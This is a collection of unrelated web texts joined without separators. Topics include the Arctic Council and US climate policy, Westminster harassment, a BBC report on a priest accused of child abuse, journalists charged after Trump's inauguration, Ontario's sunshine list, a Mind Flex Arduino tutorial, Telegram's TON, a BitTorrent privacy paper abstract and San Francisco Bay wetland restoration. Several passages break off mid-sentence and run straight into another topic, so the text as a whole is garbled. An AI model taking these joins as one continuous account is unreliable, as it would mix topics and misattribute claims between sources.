Halfway across Alaska, climate change is the biggest issue at the biennial meeting of the Arctic Council in Fairbanks which brings together the foreign ministers of the eight nations with territory in the Arctic along with representatives of indigenous communities.
Image copyright AFP Image caption Mr Trump promised to support the coal industry during his campaign
Many delegates here say they are confused about the position of the United States which, under the administration of the previous president, Barack Obama, a Democrat, made tackling climate change a priority.
Most significantly Mr Obama approved the 2015 Paris climate change accord to reduce greenhouse gas emissions, which was negotiated by around 200 nations.
His successor in the White House has taken an altogether different approach.
Before becoming president Donald Trump tweeted that climate change was a Chinese hoax.
He has appointed a former chief executive of the oil major Exxon Mobil as secretary of state.
The Environmental Protection Agency is now being run by a fierce critic of Obama-era climate policies and the White House has caused consternation with executive orders which could lead to the production of more coal and more oil and gas exploration.
The biggest question remaining is whether President Trump will go even further and withdraw the US from the Paris accord.
Doing so would set back US climate policy "by a decade or two", in the judgment of Prof John Walsh, chief scientist for the International Arctic Research Center at the University of Alaska, amounting, he says, to "an abdication of responsibility".
"The warming we've seen in the last 50 to 100 years is greater than the warming we've seen at any time in the last 2,000 years," says Prof Walsh, adding that "human activity is a primary driver of the changes we're seeing".
Image caption Climate campaigners fear US policy will damage attempts to combat climate change
Scientists like Prof Walsh say the effects of a warming climate are being felt particularly keenly here in the Arctic - with sea ice and glaciers melting, permafrost thawing and coastal communities at threat from erosion.
Not only that but the process appears to be accelerating thanks to a so-called feedback loop - the more ice melts, the darker the surface of the planet becomes, with both land and sea reflecting less sunlight and absorbing more heat, and the warmer the world becomes.
The climate is not the only topic on the table at the Arctic Council. It also deals with issues such as fisheries, tourism and shipping.
Finland, which is taking over the presidency from the US for the next two years says its twin priorities will be addressing climate change and ensuring sustainable development.
Helsinki will also have to contend with the prospect of increasing tensions in the High North where retreating ice is raising the prospect of a scramble for resources.
Analysts say Russia now has its strongest military presence in the region since the end of the Cold War.
"A lot depends on the so-called global drivers, the prices of commodities: oil, gas, minerals," says Prof Walsh, who predicts that "sooner or later, when the commodity prices do trend back upwards, the Arctic is going to be more ripe for exploitation."
There are plenty of people in Alaska who have voiced support for such development, but back on the beach in Nome, Peggy Olanna is worried.
"I would say no, that would affect our food from the ocean and we depend on that," she says.This article is over 1 year old
Labour leader urges anyone with complaints to tell their party organisations, Commons authorities or police
A “warped and degrading culture” of sexual harassment and abuse exists and thrives in Westminster, Jeremy Corbyn has said.
In a speech to members of the Unite union in Scotland, the Labour leader urged anyone who has experienced harassment or abuse to come forward.
He said any MPs who have engaged in sexually inappropriate behaviour must be held to account for their actions.
Senior MPs have raised complaints that allegations of sexual harassment are still not being taken seriously enough by their parties and whips despite years of warnings.
That sound? It’s Westminster’s sex pests rehearsing their excuses | Marina Hyde Read more
MPs made their fears known to their parties after the Labour MP Jared O’ |
the region and candidates themselves, based on the application. The questions for candidates to answer are listed below.
The application letter with the information mentioned above should be sent to the following email address: rc.selection.committee@gmail.com
After the window closes, all applications will be reviewed and graded by the Selection Committee against the minimal requirements to be the Regional Coordinator, and all applicants that meet the criteria will go to step 2.
Step 2 will consist of individual questions to the candidates, aiming to explore potential areas for improvement, and to determine the best candidate for each region. This step may be skipped for regions with only one candidate at this stage of the process, at the discretion of the Selection Committee.
Questions
Describe, in the context of your region, the infrastructure of regional leadership, lines of command, existing and planned structures in regard to planned growth and improvement of judges, their retention and morale, evaluating performance and conference organization. Describe the ways (channels) in which fellow judges can contact you, and how long do you usually take to reply or resolve an issue. What kind of problems do you solve in your region? Are you involved in discussions about recent changes in Judge Program? Describe how often do you find yourself in the middle of a conflict, or are asked to resolve one. Describe the last conflict situation you were involved in and how it was resolved. Describe your involvement in judge recognition initiatives. Describe how do you understand “protecting diversity” and how do you plan to act in regards to that in your region. Describe how do you participate in mentoring of judges in your region and what is your plan for mentoring on a larger, regional scale.
Committee
The selection committee will consist of four current Regional Coordinators (including the Regional Coordinator Lead, who will be the leader of this committee), one Program Coordinator, and two Level 3 judges not holding the aforementioned roles.
Sebastian Pękala (RC leader)
Sergio Pérez (RC)
David Lyford-Smith (RC)
Adrián Estoup (RC)
Kevin Desprez & Sean Catanese (step1 & step2 PC representatives)
Simon Freiberg (L3)
Damián Hiller (L3)
Deadlines
Applications will be accepted until February 26th (end of day). We reserve the right to re-open window in case there are no applicants or in case of significantly exceptional situations.
Results for the Spring 2017 class will be published around April 1st 2017.Media playback is unsupported on your device Media caption A BBC Scotland investigation has revealed a retired Catholic priest who is accused of child sex abuse gave one of his alleged victims a cheque for £10,000
A retired Catholic priest accused of child sex abuse gave one of his alleged victims a cheque for £10,000, a BBC Scotland investigation has revealed.
Fr Paul Moore has denied that the cheque to the former altar boy was intended as "hush money".
The former Ayrshire priest says it was "a loan" and a "private matter".
Fr Moore admitted to child sex offences to the then Bishop of Galloway, Maurice Taylor, in the late 90s and was removed from the ministry.
He has never been prosecuted and lives in a home bought for him by the church.
Two years ago, the BBC revealed claims by former altar boy Paul Smyth that he'd been abused by Fr Moore. Although he gave testimony anonymously at the time, he's since decided to waive his anonymity.
"I just want people to know the truth, I'm not running away any more," he said.
Abuse on beach
Mr Smyth told the BBC how he'd been sexually assaulted on Irvine beach when he was 11. He eventually told the police what happened in 1997, after Fr Moore apparently admitted the abuse to Bishop Taylor.
Bishop Taylor told the BBC in 2013 that Fr Moore had made admissions to him, but he initially did not tell the police about it, and sent him instead to a treatment clinic in Canada, then to Fort Augustus Abbey in the Highlands.
Bishop Taylor said in 2013: "In April 1996, Fr Moore told me of actions which had occurred years previously. On his admission of these to me I removed him from the pastoral ministry.
Image caption Fr Moore being shown the cheque by Mark Daly
Image copyright Carol Duncan Image caption Fr Moore was sent to Fort Augustus after allegedly admitting child abuse to the bishop
"I sought advice on how to handle Fr Moore's admission from social workers, experts in child protection and legal figures.
"The initial advice I was given was that since no allegations had been made against Fr Moore but that he had made personal admission to me, I didn't need to inform the authorities."
Fort Augustus Abbey, where Fr Moore went after the Canadian treatment centre, was the subject of a BBC investigation into historic child sex abuse, and now a major police inquiry.
The police were eventually informed about Fr Moore's admissions by the diocese, and a report was made to the procurator fiscal. Charges were never brought against Fr Moore.
But now, the BBC has learned of a second alleged victim of Fr Moore.
'Hush money'
The second man, also a former altar server and now in his late 40s, says he was abused by Fr Moore for several years as a teenager in Ayrshire.
The BBC has obtained a copy of a cheque given to the man by Fr Moore in 2009.
Fr Moore, who lives as a retired priest in a grace and favour home paid for by the church, denies the cheque was "hush money" and says it was meant as a loan.
His alleged victim, who wishes to remain anonymous, said it was "more than conceivable" the money was intended to "keep him sweet" though says he did not threaten him with going to the police if he did not give him the money.
Image caption Paul Smyth claims he was abused by Fr Moore on Irvine Beach
He has not made a formal police complaint about the abuse he says he suffered at the hands of Fr Moore.
When confronted by the BBC on Friday, Fr Moore denied that he'd confessed any child abuse to Bishop Taylor, and said the cheque to his alleged victim was meant as a loan.
He said: "I lent him that because I wasn't using it - it was sitting aside and when I'm asked to help people that's what I try to do."
He accepted he was aware the man had made allegations against him, and was asked if he accepted that a payment to an alleged victim may look like "hush money".
He responded: "Sure, it looks now, I realise that now in these times but it's not that, it wasn't hush money.
"In the bible it says lend without hope of getting things back... as far as I'm concerned he can keep it."
Third alleged victim
Fr Moore, now 79, strenuously denied abusing the man, and also denied Paul Smyth's abuse allegations, claiming they "could be looking for money."
Asked if the two men were lying about the abuse claims, Fr Moore said: "No, they're not lying. They think that's what it is. But it's not."
Fr Moore says the Church, and Bishop Taylor, was fully aware of the money he gave to his alleged victim, but no-one from the Catholic Church was available for comment.
The BBC understands a third alleged victim of Fr Moore has now come forward to Police Scotland in the past fortnight, claiming he was abused at St Mark's Primary school in Irvine, Ayrshire, where Fr Moore was chaplain.
A police spokesman said: "We can confirm that Police Scotland has received a report of historical sexual abuse and our inquiries are ongoing."0
The CW is developing a superhero team-up series as a The Flash and Arrow spinoff that will feature four fan-favorite characters/actors from both shows, and three major DC characters that have never been seen on TV before. The network has been teasing an Atom spinoff for a few months now, but it looks like they’ve got something much bigger in mind after all. Brandon Routh, Caity Lotz, Wentworth Miller, and Victor Garber are set to headline the new series with Arrow creators Greg Berlanti, Marc Guggenheim and Andrew Kreisberg to executive produce.
Routh, Miller and Garber are said to return as their characters on The Flash and Arrow -Routh as Arrow‘s Ray Palmer/The Atom, Miller as The Flash villain Leonard Snart/Captain Cold, and Garber as Flash‘s Dr. Martin Stein – with Lotz’s character as yet unconfirmed. It’s possible that Lotz could be playing a new character given her Canary’s untimely demise. However, since the other cast members are returning as their established characters it would be a very strange choice, and would put a big strain on the audience’s suspension of disbelief.
Deadline reports that the series is not set for this pilot season, but given the stars and creative talent behind the project, as well as the massive fan following and warm critical reception for both The Flash and Arrow, it might go straight to series with a possible midseason premiere next year. The project is still very early in development, so it’s possible (and pretty likely) that other characters from either show could crossover.
As for the three new “major DC” characters, the two existing series have burned through a lot of characters from the DC Comics universe, but now that the DC cinematic universe has cast their own actors as the same characters in the CW shows (and definitively separated itself from the TV universe in the process) the door is wide open for some of DC’s most beloved and well known characters to make an appearance.
As a big fan of what Kreisberg, Berlanti, and Guggenheim have done with their televised DC universe so far, especially The Flash, I’m excited to see where this series could go. The cast is excellent, and Caity Lotz’s Black Canary was one of the major highlights of Arrow‘s three year run, so I’m thrilled to see her back in the game.
Are you excited for the new spinoff series, or are you suffering from superhero fatigue? Which new DC characters do you hope will pop up? Sound off in the comments.What does it look like when Christianity is just ingrained in a public school?
At Swainsboro Primary School in Georgia last year, two teachers (kindergarten and first grade) led their students in prayer before the kids had lunch. There was just an automatic assumption that all the kids came from a religious background, even though that wasn’t the case at all. But when one family said something to the principal, the situation didn’t get any better:
Instead of complying with the Constitution, the teachers instructed our complainants’ children to sit in the hallway while the rest of the class prayed. One child felt Ms. Bright “used her mean voice” when asking the child to wait in the hall. Apparently, Ms. Watkins said something like “other parents who don’t want their kids to participate in class prayer are okay with their children being taken out of class.” This shows that this is a consistent, systematic problem in the school.
One of the teachers also announced to the whole class that the student couldn’t “recite the Pledge of Allegiance with the rest of the class, since it contains the words ‘under God.'” (As if the kid wasn’t already ostracized enough.)
At one point last December, another teacher told the same child that he should “make a good decision” regarding classroom prayer.
And — wait for it — Ms. Bright also told the child that he shouldn’t listen to his mother because she was “a bad person for not believing in God.”
Let’s admit that if an atheist teacher said that about a Christian mother, we’d never hear the end of it.
Some Christians will inevitably say this story is all about an infringement on their rights, as if atheists were trying to take prayers out of school. That would be a lie. The kids were always welcome to pray on their own. But their teachers can’t lead them. And they sure as hell shouldn’t be singling out kids by removing them from the classroom because they don’t belong to the majority faith. This situation was especially egregious.
After the Freedom From Religion Foundation sent a letter to the Emmanuel County School District, you’d think the problems would have stopped. They didn’t.
So this past February, FFRF filed a lawsuit against the District.
Yesterday, FFRF agreed to toss it out because they had reached an agreement with the school.
… Emanuel teachers have received educational training on their obligations not to promote religious beliefs in their classrooms and the Doe family has been financially compensated for harm they suffered. … “We’re pleased that the Emanuel County Schools has taken action to correct the egregious constitutional violations that were taking place in its classrooms,” said FFRF Co-President Annie Laurie Gaylor. “No devotions and religious practices should take place in public schools, and no small child should ever be pressured to take part in such illegal practices. More than 50 years of clear Supreme Court precedent bar such coercive conduct, because religion in schools is divisive and builds walls between children.”
Well… good. It’s a settlement that should have happened a long time ago, but it took a polite request followed by a lawsuit to make it happen. This is what atheists have to deal with because too many Christians don’t know where the boundary lines of their churches are. It shouldn’t be this difficult to get public school officials to follow the law.
As one commenter said at The Augusta Chronicle‘s website, “When will the public schools accept that religion is NOT one of the three R’s?”
(Image via Shutterstock)Six journalists await their legal fates after they were among the 230 people charged with rioting during the Inauguration Day events in downtown Washington.
The felony charge of "Rioting or inciting to riot," carries the potential for 10 years in prison and a fine of up to $25,000. The six were released the following day, each with preliminary hearings scheduled within the next two months.
All were near the #DisruptJ20 protests on the streets not far from where — and at about the same time as — President Trump was being inaugurated Jan. 20 at the U.S. Capitol. News outlets showed smashed windows in businesses and in vehicles in the area. Police charged those arrested with felony rioting, which is used when there's property damage of $5,000 or more, or serious bodily damage.
According to police reports, protesters smashed out plate glass windows at businesses including Starbucks Coffee, SunTrust Bank and Wells Fargo Bank and destroyed a limousine. Damage caused was in excess of $100,000, police say, and some police officers were injured as protesters resisted arrest; one officer was taken to the hospital and since released.
"Based on the facts and circumstances, we determined that probable cause existed to support the filing of felony rioting charges," said the U.S. Attorney's Office for the District of Columbia in a statement about the 230 arrested. The office, which enforces criminal laws in Washington, D.C., would not comment on the actions of the six journalists.
The journalists charged were: Evan Engel, a senior producer with online news site Vocativ; Alex Rubinstein of RT America, the Washington-based channel that is part of RT, the state-sponsored media outlet originally known as Russia Today; documentary filmmaker Jack Keller, independent live-streaming journalist Matthew Hopard, freelance journalist Aaron Cantú, who has written for Vice and The Guardian, and independent photojournalist Shay Horse.
The charges were first reported by U.K.'s The Guardian.
Legal observers and medical personnel were also among the large group that police surrounded before arresting them, said Keller, who was covering the protests for the web series Story of America and the team's upcoming documentary film on the social-political division in the U.S. called Journey into the Divide in the U.S. He was returned his video camera after being released, but not the video.
"I want to make it absolutely clear, as I did to the arresting officer, that I was there as a journalist and was simply observing the J20 protest," he said in statement emailed to USA TODAY. "My hope is that the DA will drop these charges-for which they have no supporting evidence- against journalists and observers immediately."
Press advocates have rushed to the journalists' support, demanding the U.S. Attorney's Office drop the charges on those working to cover the protests.
"These charges are clearly inappropriate, and we are concerned that they could send a chilling message to journalists covering future protests," said Carlos Lauría, senior Americas program coordinator for the Committee to Protect Journalists. "We call on authorities in Washington to drop these charges immediately."
At free speech organization PEN America, Executive Director Suzanne Nossel said, "By slapping these journalists with felony charges, the U.S. Attorney’s office is intimidating the press at a time when mass protests are expanding and there is a pressing need for accurate reporting in the public interest."
The blurring line between activists and activist journalists may be a factor in what happens next. Slay Horse also calls himself an anarchist on his Twitter feed (@huntedhorse) and was documenting the protest. The Committee to Protect Journalists mentioned just three of the six journalists -- Engel, Rubinstein and Cantú in its appeal; PEN America mentioned them and Keller.
Ben Carraway, a Colorado defense attorney arrested in the incident, filed a class action suit against the Metropolitan Police Department and U.S. Park Police, calling police action an "illegal mass arrest" executed with "use of excessive force."
Story of America's co-producer, Annabel Park, said that Keller and the others were held in a cell overnight, handcuffed by plastic ties with little food. "It goes beyond wrongful arrest," she said.
Representatives from mainstream outlets were also taken in but weren't charged, said video journalist Tim Pool, who was released at about the same time as them. Pool said he had previously been arrested and held in Ferguson, Mo., for "about an hour" before being released.
Journalists have been charged in past protests, such as the one in Ferguson in August 2014. Two journalists detained then, Wesley Lowery of The Washington Post and Ryan Reilly of the Huffington Post, were arrested while working as journalists, then released, and charged a year later before those charges were dropped in May 2016.
The Washington, D.C. Metropolitan Police Department "respects and protects the rights of journalists to have access and the ability to report on events of local, as well as national, importance," said spokesman Dustin Sternbeck in a statement. "MPD members are directed to attempt to identify journalists and to not arrest them."
Those individuals who presented appropriate media credentials or could otherwise confirm to be journalists were released."
There is the potential for charges to be dropped. The U.S. Attorney's Office said the office continues to work with police to review evidence and, "as in all of our cases, we are always willing to consider additional information that people bring forward."
The journalists who responded to contact from USA TODAY directed further communication through their attorneys. Vocativ issued this statement about Engel's arrest: "The arrest, detainment and rioting charge against journalist Evan Engel who was covering the protests for Vocativ are an affront to the First Amendment and journalistic freedom. Vocativ will vigorously contest this unfounded and outrageous charge."
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©2017 USA Today
Visit USA Today at www.usatoday.com
Distributed by Tribune Content Agency, LLC.Japan's famous 'CPU' goddesses finally heads to PS Vita in Hyperdimension Neptunia Re;Birth 3: V Century! A remake of the Hyperdimension Neptunia Victory, this new version of the game features expanded story, new scenarios, revamped battle system, an even more zany comedy, and dual voice overs via free Japanese audio downloadable content. Join Neptune along with her irresistible CPU goddesses sisters as they forge their adventures to the west!
After suddenly being transported to an alternate world of Gamindustri in the year 1980's, Neptune finds herself stuck between time/space and rift of the said world. Making things worse, she is faced against the so called “Seven Sages” that seeks to create a world without the CPUs! Join Neptune along with her new found friends in her quest back home and in stopping the impending dangers that would cause havoc in the current world she's in and in the dimension she calls home.
Enjoy the game's revamped combat system that lets players customize combos with up to five moves allowing for a whole new ways to defeat enemies! Play through the game's new story and added scenarios that unlocks upon beating the game once. With the game’s Remake System, modify the world of Gamindustri by creating “plans” that alter enemy difficulty, dungeon treasures, and so much more! A revamped and improved Stella's Dungeon will also be featured in the game along with customizable powerful equipments that unlocks the true power of the CPUs!Today was really exciting for me. The new Legend of Zelda game came out for the 3DS and there was a new special edition 3DS XL that came out. I’m not even going to play the game and I already have a 3DS, but my husband really wanted them. I’ve been telling him over and over he can’t get it because we don’t have the money, but I reserved the bundle on Monday while he was at school. I’m usually awful at keeping surprises from him, but when he found the DS today (in the dishwasher) he was so excited. In honor of LoZ I did green and gold nails with a triforce accent. I used Sinful Colors Envy and Zoya Kerry. Sorry for the quick badly done photo!
AdvertisementsTHE WESTERN Bulldogs have wasted no time paring Tom Boyd and Josh Schache in attack, with the young key forwards combining well on day one of pre-season training.
The first-to-fourth year players were put through paces, impressing the assistant coaches in the absence of Luke Beveridge.
Development manager Rohan Smith told AFL.com.au he was pleased with the immediate understanding Boyd and Schache formed.
Schache, who was the No.2 pick in the 2015 NAB AFL Draft, was traded to the Dogs from the Brisbane Lions for picks No.25 and 40 in this year's draft.
"We put them both together, they worked in conjunction really well and Tommy was helping Josh out with his movement," Smith said.
"They looked really good together, so it's pretty exciting."
While he had the coaches rapt with his work up forward, Smith was also thrilled with Schache's running on his first official day at the Bulldogs.
"He ran really well for a big guy, so we were really please with that," Smith said.
"Then with the skill component, you could see he is a very, very sound kick, so we were really pleased with how he performed today, and we're looking forward to him being a big part of the footy club.
"Josh really enjoyed himself and had a really good time out there."
Third-year key defender Marcus Adams was restricted to light duties in his return from a second serious foot injury in two seasons, but Smith said the hulking West Australian wasn't far away from taking part in full training.
Since being taken with pick No.35 in 2015, the impressive 24-year-old has suffered stress fractures in both his feet.
"Marcus is still in the rehab group and he could have trained today, but we just want to ease him into it in the first few weeks of training," Smith said.
"He looks super fit and exciting to look at because when you see him in the gym, you just think 'I can't wait until he gets out there.'
"He'll be fine."
The Bulldogs, including Josh Schache and Tom Boyd are put through their paces. Picture: Western Bulldogs
While Adams' return to training was a welcome sight for the Dogs, luckless defender Roarke Smith's appearance on the track had Smith beaming with pride.
The 21-year-old, who has had two knee reconstructions in the past 18 months, was delisted last week, but the club has promised the Calder Cannons product they will redraft him back onto the rookie list.
"I grabbed him as he walked out on the track and he said how good it was to be back out there again," Smith said.
"All the rookies can play straight away (under new AFL laws), so they all know now that if they perform at VFL level, they give themselves every opportunity to play senior footy."
The rest of the Bulldogs squad return to training on November 20.The venom found in Meiacanthus' fangs is not potent enough to seriously affect humans. They're mainly aimed at temporarily immobilizing small predators to give blennies the time escape. Fangblennies are sometimes labelled as venomous fish in the aquarium trade, but their venom isn't really anything that should concern you... especially when you learn what they're made of and what they do.
A new paper published in Current Biology finally reveals the formula for this secret sauce, and it's really quite sophisticated. Scientists found three chemicals never before seen in any other fish. Each chemical serves a distinct purpose to immobolize without causing pain or distress - a surprisingly considerate and humane defensive mechanism.
The three components are:
Phospholipase damages animal cell membranes, enabling the delivery of the other two toxins Neuropeptide Y causes an animal's blood pressure to drop (up to 40% drop in b.p. measured in test mice) Enkephalin, an opiod similar to heroin and morphine
The triple cocktail effectively mellows and disorients predators, allowing the blenny to dash off to live another day. It's really remarkable how fangblennies have evolved this specific combination of three (again, never-seen-in-other-fish) chemicals to create an unique defensive mechanism.
If you are curuious how the researchers extracted the venom from these small fish, they issued a press release describing the painstaking - and almost comical - process (it involves a lot of angry lil' blennies and cotton swabs).
Read Kenneth Wingerter's Advanced Aquarist article to learn more about fangblennies.After losing a quarter of their market value since the start of the year, European banks are looking badly bruised and trying hard to reassure investors that there is nothing to fear.
Shares have sold off as falling oil prices and slowing growth in China conspired to make the start of 2016 the worst on record on Wall Street. Europe has not been spared, with banking stocks down almost 25 percent year-to-date as concerns over provisions for bad debts and the banks' exposure to the energy sector loans grows.
Deutsche Bank shares have come under severe pressure; the stock is down over 30 percent year-to-date. The group's co-CEO said in a memo to staff on Tuesday that the bank remained "absolutely rock-solid" given its strong capital and risk position. But the comments only served to undermine investors' confidence further, with the stock tumbling once again.
On Monday it had already tried to restore calm by saying it had "sufficient" reserves to service its so-called tier 1 debts, or its most junior bonds. There was some respite on Wednesday. Shares soared 15 percent following a Financial Times report which said the bank was considering buying back several billion euros of its debt.
Analysts caution against doomsday scenarios, arguing banks are in much better shape than in 2008 when the financial crisis unfolded.There are more women in the public service than any other sector of Ontario’s economy, but they remain underrepresented on the list of top earners, an analysis of the 2014 sunshine list suggests.
There are 21 women among the top 100 best-paid public servants, according to the list, which ranks those making more than $100,000.
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Among the top ranks of the Ontario Public Service, the deputy and assistant deputy ministers who work most directly with the Cabinet Office, 42% are women. Of the 16 deputy ministers, essentially the highest-ranking bureaucrats in each ministry, on the list, four are women.
According to February 2015 employment data from Statistics Canada, about 63% of the public service at all levels of government in Ontario is female, compared to just under 46% of the private-sector workforce. Overall, women account for 48% of Ontario employees.
“The underrepresentation of women among the top earners is definitely a concern,” said NDP critic for women’s issues Peggy Sattler.
Her party’s top priority is to tackle the number of people making over $418,000 on the sunshine list — now as many as 181 and making over $91 million a year combined, up 24% over last year. Ms. Sattler said the lack of women among the highest paid “reflects the reality of the glass-ceiling effect for women executives in Ontario, whether in the public or private sector.”
The sunshine list is just a snapshot of the public service, and the over 111,000 people on it represent about 10% of the 1.1 million people who work for the province and its cities, either directly or indirectly. There may be fewer women among those top earners, but according to the Treasury Board, “women comprised 55% of the OPS workforce, 55% of middle management and specialist positions, and 51% of senior management. This compares to 1986 (the first year for which we have reliable data) where women made up 43% of the OPS workforce.”
“There’s no question that barriers still exist,” a representative said, adding there are a number of targeted career development programs for women, minorities and other groups to “help bring about equal representation.”
Among the highest earners on the sunshine list, the gender wage gap becomes more pronounced
Women and other underrepresented groups do fare much better in the public service. Studies suggest it’s a results of generous maternity, disability and extra-medical benefits as well as policies to encourage diverse hiring.
“Workers who face less discrimination in the public sector are seeking out those jobs in greater numbers,” according to a 2014 study from the Canadian Centre for Policy Alternatives titled “Narrowing the Gap.”
[np_storybar title=”Ontario’s Sunshine List balloons over 100,000 as the average salary decreases slightly
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Ontario revealed Friday who earned the most last year on the public dime with the release of its annual Sunshine List, and the list of $100,000-plus income-earners has topped 100,000 for the first time.
Once again, electricity executives were among the highest earners, but Ontario Power Generation President and CEO Tom Mitchell, who topped the 2013 list at over $1.7 million, actually decreased his total compensation slightly, to $1,563,093.80. Mitchell announced in February his intention to retire once his successor is chosen.
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Women in the public sector make an average of $24.37 an hour, more than either women or men in the private sector, according to a 2014 study from the province on the gender wage gap and earnings ratios. That study from the Pay Equity Commission notes women actually earn more in the health-care sector: an average of 107% of what men do. Child-care and home-care workers earn 110% of the average male wage, according to the study.
Yet, the report found overall the “female-to-male earnings ratio is 80% in the public sector; 76% in the private sector.”
The disparity goes to the top: In 1996, just ten women broke the list of top 100 earners. By 2010, there were 20 of them, 17 in 2011, 22 in 2012 and 21 in both 2013 and 2014.
The portrait hasn’t changed much over the years: in 2013, there were 32 deputy ministers on the list, 10 of whom were women. In 1996, the first year the compensation levels were released, there were 25 deputy ministers on the list — 10 women and 15 men.
Among the highest earners on the sunshine list, the gender wage gap becomes more pronounced. For the top five men who’ve been on all of the last five years’ lists, the average salary is over $913,000. For the top five women on those same lists, the average is around $550,000.
The highest-earning man on the list, Tom Mitchell, president of Ontario Power Generation, earned $1.56 million. The highest-ranking woman on the list (9th), is Catherine Zahn, president and CEO of the Centre for Addiction and Mental Health. Zahn earned around $741,000, or half or what Mitchell did.
A note on the analysis: The National Post analyzed the top 100 highest-paid members of the sunshine list for the last five years and the first year of available data. Genders were verified against online profiles, and in a handful of cases where a determination couldn’t be made the data was excluded. Deputy ministers, as well as assistant and associate deputy ministers were also isolated as a consistent metric of representation among the highest ranks of the Ontario Public Service.As I mentioned before, the guys at frontiernerds have done an excellent job at explaining how to perform this hack and of how to interface the Mind flex headset to the Arduino and graphing the output using Processing (which I did and worked fantastically!), so I will only go through the steps of getting the data to display on the mini monitor. (If you are familiar with processing, I recommend you try their project. It's really interesting!)
OK. Lets Start:
Initial software test to make sure your mind Flex is talking to the Arduino: Run the example BrainSerialOut sketch.
Note: You will not need the Mini display for this test, and if you have it connected nothing will display on it yet.
1.- You will need to download and install the Brain Library from the frontiernerds web site.Decompress the zip file and drag the "Brain" folder to the Arduino's "libraries" folder inside your sketch folder. Restart the Arduino IDE.
You should now be able to see the library and examples in select File > Examples > Brain > BrainSerialOut sketch.
If you were successful at installing the libraries, and loading the BrainSerialOut sketch, Click on the verify button to compile the sketch and make sure there are no errors.
It's time to connect your Arduino to your PC using the USB cable, and click on the upload button to upload the sketch to the Arduino.
Plug the two wires that you put in the Mind flex headset to the Arduino: the T signal wire from the mind flex to the rx pin in the Arduino; The ground wire from the Mind flex headset to the Arduino gnd pin.
Once the sketch is uploaded to the Arduino, make sure your Mind flex headset is connected to the Arduino, and turn it on. Open the serial monitor.You should see a stream of coma separated numbers scrolling by.
NOTE:
If the sketch doesn't upload and you get a message like the one below,
avrdude: stk500_getsync(): not in sync: resp=0x00
Disconnect the wire from the arduino rx pin, it sometimes interferes with the upload process.
Note that the connection to the Neurosky headset is half-duplex — it will use up the rx pin on your Arduino, but you will still be able to send data back to a PC via USB. (Although in this case you won't be able to send data to the Arduino from the PC.)
once disconnected click on the upload button again and, if successful, reconnect the wire to the rx pin.
If you got the serial data stream showing up an the serial monitor, you are ready to go to the next step.The messaging application, Telegram, will launch a blockchain platform and its own cryptocurrency. The information was revealed by different sources that are familiar with the matter. There are two possible names for this network: ‘The Open Network’ or ‘Telegram Open Network’ (TON).
TON, the Telegram Blockchain Platform
Many ICOs have been spreading this year. More than $3 billion dollars were risen via this crowdfunding method. The intention is to build a cryptocurrency for the 80 million active users that the messaging app manages. According to the enterprise, this cryptocurrency, as well as the blockchain will be fast, scalable and user friendly. In this way, it would become the world most adopted cryptocurrency and blockchain on earth.
Anton Rozenberg, a former Telegram’s employee, has posted on Facebook a video explaining what TON is and how it works. He has also commented that the currency would be used to aid users that live under oppressive governments. They would be able to send money through Telegram and create other smart contracts.
Furthermore, the company would use Light wallets in order not to download a large blockchain. The platform could be supported not only by Telegram, but also by many other messaging applications, but at the moment it is not confirmed which ones.
Pavel Durov, Telegram’s co-foudner, has commented that messaging application is being used by the blockchain community as a whole, and it is really famous between cryptocurrency owners. According to Bloomberg, Durov was thinking to monetize the platform in the coming year in order to go on with the expansion plans.
Durov Difficult Situation
Mr Durov has had difficult situations due to its creations. He did not only created Telegram, but also VK one of the most popular platforms in Russia that works in a similar way as Facebook. The Russian authorities had pushed him to sell his part of the company (VK). Besides that, in Iran he has been charged of terrorism by the government. Telegram allows its users to send encrypted messages and avoid governments controls in countries like Iran, North Korea or other oppressive countries.inria-00470324, version 1
Abstract : This paper presents a set of exploits an adversary can use to continuously spy on most BitTorrent users of the Internet from a single machine and for a long period of time. Using these exploits for a period of 103 days, we collected 148 million IPs downloading 2 billion copies of contents. We identify the IP address of the content providers for 70% of the BitTorrent contents we spied on. We show that a few content providers inject most contents into BitTorrent and that those content providers are located in foreign data centers. We also show that an adversary can compromise the privacy of any peer in BitTorrent and identify the big downloaders that we define as the peers who subscribe to a large number of contents. This infringement on users' privacy poses a significant impediment to the legal adoption of BitTorrent.Allrounder Mitchell Santner has replaced Jimmy Neesham in New Zealand's 15-man squad for the second and final Test against Pakistan, while the status of Ross Taylor for the game starting November 25 in Hamilton is still yet to be confirmed.
A decision on Taylor will be taken after he consults a specialist about a growth |
70 percent of blacks and 79 percent of whites.
Starling says it’s impossible to know how much of these inequities stems from racism, but it definitely contributes to the problem. “There are a lot of people who don’t recognize how significant the race disparities are in the Twin Cities,” she says. “I think they’ve just never been exposed to this information before.”In a clear sign that the largest wetlands restoration project on the West Coast is already improving the health of San Francisco Bay, bird populations have doubled over the past 13 years on thousands acres of former industrial salt-evaporation ponds that ring the bay’s southern shoreline, scientists reported Thursday.
The overall population of ducks and shorebirds in that area, which is about the size of Manhattan, has increased from roughly 100,000 in 2002 to 200,000 today, researchers doing detailed counts every winter found.
“It shows that what’s been done so far appears to be working. It’s really great,” said Susan De La Cruz, a wildlife biologist in Vallejo with the U.S. Geological Survey who has conducted much of the research.
In a landmark deal in 2003, Minneapolis-based Cargill Salt sold 15,100 acres of its bayfront salt ponds, which stretch from Hayward to San Jose to Redwood City, to state and federal agencies for $100 million. That sale also included an additional 1,400 acres near Napa.
The idea was to take the ponds — used for a century to harvest salt for food, medicine and road de-icing — and restore them back to natural conditions over 50 years, bringing back birds, fish, harbor seals, leopard sharks and dozens of other species that have struggled in the bay because of development and a burgeoning human population.
San Francisco Bay has shrunk by a third since the Gold Rush of 1849 due to diking, filling and development. Most of that stopped in the 1980s with the advent of the federal Clean Water Act, Endangered Species Act and other environmental laws.
Now, scientists, environmental groups and many political leaders are trying to turn back the clock and expand the bay out again, bringing back wetlands, along with the wildlife, public trails and natural flood control that come with expanded marshes.
The restoration of the Cargill ponds is a central part of that undertaking.
The plan for the 15,100 acres, overseen by the state Coastal Conservancy and other agencies, calls for converting 90 percent of those ponds to tidal marsh by 2050.
In the last 12 years, state and federal agencies have spent $93 million on that effort.
They have taken two major steps. First, they opened up the more than 50 ponds, some of which are as big as 500 football fields, to the bay’s waters using tidal gates in levees. That stopped the salt-making process and brought in fish, shrimp, seeds of plants and other natural features found in bay waters.
Second, they have converted 3,750 acres — about a quarter of the total project. Of that, about 1,600 acres have been restored to tidal marsh. Another 1,440 acres have been partially restored. And 710 acres of open ponds have been reconfigured, with crews building islands and other features, or adjusting water and salinity levels, to boost bird populations.
